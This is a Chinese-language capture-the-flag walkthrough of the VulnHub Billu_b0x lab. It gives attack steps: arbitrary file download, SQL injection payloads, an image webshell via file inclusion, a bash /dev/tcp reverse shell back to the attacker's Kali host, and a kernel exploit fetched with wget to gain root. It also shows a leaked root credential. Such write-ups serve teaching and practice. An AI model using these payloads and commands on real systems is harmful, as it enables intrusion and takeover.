vulnhub靶场,Billu_b0x
环境准备
靶机下载地址:https://www.vulnhub.com/entry/billu-b0x,188/
攻击机:kali(192.168.109.128)
靶机:Billu_b0x(192.168.109.130)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.109.130
使用nmap扫描查看目标靶机端口开放情况
开放端口:22、80
浏览器访问目标靶机80端口
页面竟然提醒要我们展示我们的SQL注入技巧,可以说是很嚣张了,构造万能密码常用的payload:1 or 1=1--+
或者 1' or 1=1 --+
,但是发现都不能成功
使用sqlmap试试
随便输入一些账号密码,进行抓包,在un的后面加入*,看看这里是否存在SQL注入
sqlmap.py -r C:\Users\随便\Desktop\sql --batch --level=5 --risk=3
用sqlmap也跑不出来,那这里先不管这个注入了
网站目录结构扫描,使用一个大字典
dirb http://192.168.109.130/ /usr/share/dirb/wordlists/big.txt
依次访问以下这些网站
add.php
页面
发现是一个文件上传的页面,上传一个文件试试
上传上去后发现页面一点反应都没有,看来是来迷惑我们的
c.php
网页
一片空白
head.php
网页
in.php
网页
可以看到PHP Version 5.3.10-1ubuntu3.26
show.php
网页
一片空白
test.php
网页
这里说’file’参数为空。请在file参数中提供文件路径,说明很有可能含有一个文件包含漏洞,包含密码文件试试
发现失败了,看来可能不是get方式进行传参,使用POST的方式试试
可以看到当我们执行后,passwd文件自动下载下来了,说明确实是POST的方式进行传参,所以这里存在一个任意文件下载漏洞
uploaded_images
网页
应该是一个存在照片的位置
phymy
网页
数据库的管理系统,但是不知道账号密码是什么
渗透过程
前面通过信息收集已经确定了test.php页面是存在一个任意文件下载漏洞的
首先利用漏洞将网站主页源码下载下来
这里可以看到主页源码里面是有网站首页SQL注入的过滤规则的,这里我们后面再说
利用漏洞下载c.php的源码
很好,里面含有数据库的连接账号和密码,使用这个账号密码去登入phpmy的网页
登入成功,查看ica_lab库下的auth表成功获得网站首页的账号和密码
使用这个账号密码登入网站首页
登入成功,网站自动跳转到panel.php页面
左边下拉框选择Add User,发现可以上传文件
上传php文件试试
屏幕回显只支持png、jpg、jpeg文件,看来是白名单过滤,那只能先上传图片码去寻找文件包含漏洞去解析它了
上传成功,根据前面的信息收集我们可以确定图片上传的位置
使用任意文件下载漏洞将panel.php页面源码下载到本地,使用代码审计工具去审一下,看是否有漏洞
可以看到这个页面存在一个文件包含漏洞,结合源码和工具分析,是页面点击continue,POST内容里会去包含文件而引发文件包含漏洞
POST的内容我们去包含上传图片码的位置
可以看到,我们上传的图片码能成功解析
现在可以去反弹shell了
kali终端:
然后使用bash结合重定向的方法
echo "bash -i >& /dev/tcp/192.168.109.128/8888 0>&1" | bash
这里需要将语句进行url编码
可以看到kali这边成功反弹到一个shell
提权过程
查看操作系统版本
kali漏洞库查看linux3.13.0存在的漏洞
这里可以使用37292.c脏牛提权
将37292.c下载到本地
靶机这边寻找一个具有写权限的目录
find / -writable -type d 2>/dev/null
这里就使用上传照片存放的目录,然后在kali上开启一个临时服务器,靶机使用wget将37292.c下载到本地
将37292.c进行编译
执行攻击文件,成功提升权限为root
其他方式
再次查看网站首页源码
源码中出现的 \ ’ 符号,其中的反斜杠只是起到独立单引号的作用,这个时候可以将其当作一个字符串,同时它也不能起到闭合其他单引号的作用。
由于单引号是成对出现的,所以在单引号前面添加反斜杠可以让单引号独立出来,所以在这里可以构造如下的 payload 进行注入。
uname=or 1=1 --+
pass=111\
所以构造的数据库查询语句就变成如下:
$run='select * from auth where pass='123\' and uname='or 1=1 --+'';
在 pass 中 111 后面的反斜杠就是让反斜杠后面的单引号独立出来,称为 pass 参数的一部分,在 uname= 后面的单引号刚好和
pass= 后面的单引号闭合,此时 pass= 111’ and uname= ,然后 “或” 上一个 1=1 永真条件
登入成功,后面的过程就和前面的一样的,上传图片码,利用文件包含漏洞去解析
还有一个特殊的文件,我们可以利用任意文件下载漏洞去查看phpmy的默认配置文件config.inc.php
查看其内容,可以得到一个用户名密码:root:roottoor
,进行远程连接
连接成功,直接就是root权限,至此,Billu_b0x靶机渗透结束